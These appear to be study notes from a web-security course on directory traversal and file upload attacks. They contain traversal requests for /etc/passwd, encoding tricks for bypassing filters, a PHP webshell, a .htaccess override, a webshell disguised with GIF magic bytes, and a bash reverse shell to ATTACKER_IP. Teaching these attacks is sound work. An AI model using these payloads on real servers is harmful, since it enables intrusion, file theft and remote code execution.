Directory Traversal & File Upload Attacks

Reading arbitrary files / executing uploaded code on the server

Directory Traversal — How It Works

Web app accepts a filename or path parameter and reads the file without validating that the path stays inside the web root. Attacker uses ../ sequences to climb out of the allowed directory and read sensitive server files.

BASIC ATTACK — FROM SLIDES

SLIDES

```
# Target: GET /loadImage?filename=chebrolu.jpg
# Webroot: /var/www/html/images/

# Attack: climb to root with ../../../../
GET /loadImage?filename=../../../../etc/passwd

# Why 4x ../? Each one climbs one directory:
# images/ -> html/ -> www/ -> var/ -> / (root)
# Then reads /etc/passwd

# Windows equivalent:
GET /loadImage?filename=..\..\..\..\windows\win.ini
```

Traversal — Filter Bypass Techniques (from Slides)

Stripped once only	Use ....// — strip ../ once, leaves ../ (still works!)
URL encoding	../ becomes %2e%2e%2f
Double URL encoding	../ becomes %252e%252e%252f
Null byte to bypass ext check	filename=../../../../etc/passwd%00.png (terminates at null)
Absolute path (no base dir)	filename=/etc/passwd (if server doesn't prepend base)
Required prefix bypass	/var/www/images/../../../etc/passwd (satisfies prefix check)

File Upload Attacks — How It Works

Application allows file uploads without properly validating content. Attacker uploads a PHP webshell — server executes it on request, giving full Remote Code Execution (RCE).

WEBSHELL PAYLOAD

SLIDES

```
# Upload file named: exploit.php
<?php echo system($_GET["cmd"]); ?>
```

```
# Access it:
GET /uploads/exploit.php?cmd=id
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

# Run reverse shell:
GET /uploads/exploit.php?cmd=bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261
```

Extension Filter Bypass (from Slides)

Case variation	exploit.pHp — if blacklist is case-sensitive but execution is not
Double extension	exploit.php.jpg — server picks wrong extension to execute
URL-encoded dot	exploit%2Ephp — decoded at execution, not at validation time
Null byte	exploit.php%00.jpg — PHP/Java string ends at null; C/C++ sees .php
Semicolon terminator	exploit.php;.jpg — C/C++ string terminates at semicolon
Alternate extensions	exploit.php5 exploit.phtml exploit.shtml exploit.phar

.htaccess Config Override Attack (from Slides)

Apache reads .htaccess files in each directory. If you can upload one, you can instruct the server to execute a custom extension as PHP:

SLIDES

```
# Step 1: Upload file named exactly ".htaccess"
# Content-Type: text/plain
# Contents:
AddType application/x-httpd-php .xyz

# Step 2: Upload your webshell with .xyz extension
# shell.xyz contains: <?php echo system($_GET["cmd"]); ?>

# Result: server now executes .xyz files as PHP in that directory
GET /uploads/shell.xyz?cmd=id
```

Path Traversal in Upload Filename (from Slides)

Server configuration differs per directory — the /uploads/ folder may block PHP execution, but other folders may not. Use path traversal in the filename to land the file in an executable directory:

SLIDES

```
# Set the filename parameter in the upload request to:
filename="../images/exploit.php"

# File is saved to /var/www/html/images/exploit.php
# That directory may allow PHP execution
```

```
# Retrieve:
GET /var/www/html/../images/exploit.php
```

MIME / Content-Type Bypass — Extra

EXTRA

```
# Server validates Content-Type header, not actual file content
# Change Content-Type in Burp from application/x-php to image/jpeg

# Or: prepend valid image bytes (magic bytes) before PHP code
# GIF magic bytes:
GIF89a<?php echo system($_GET["cmd"]); ?>

# File passes image check but PHP engine still executes the code
```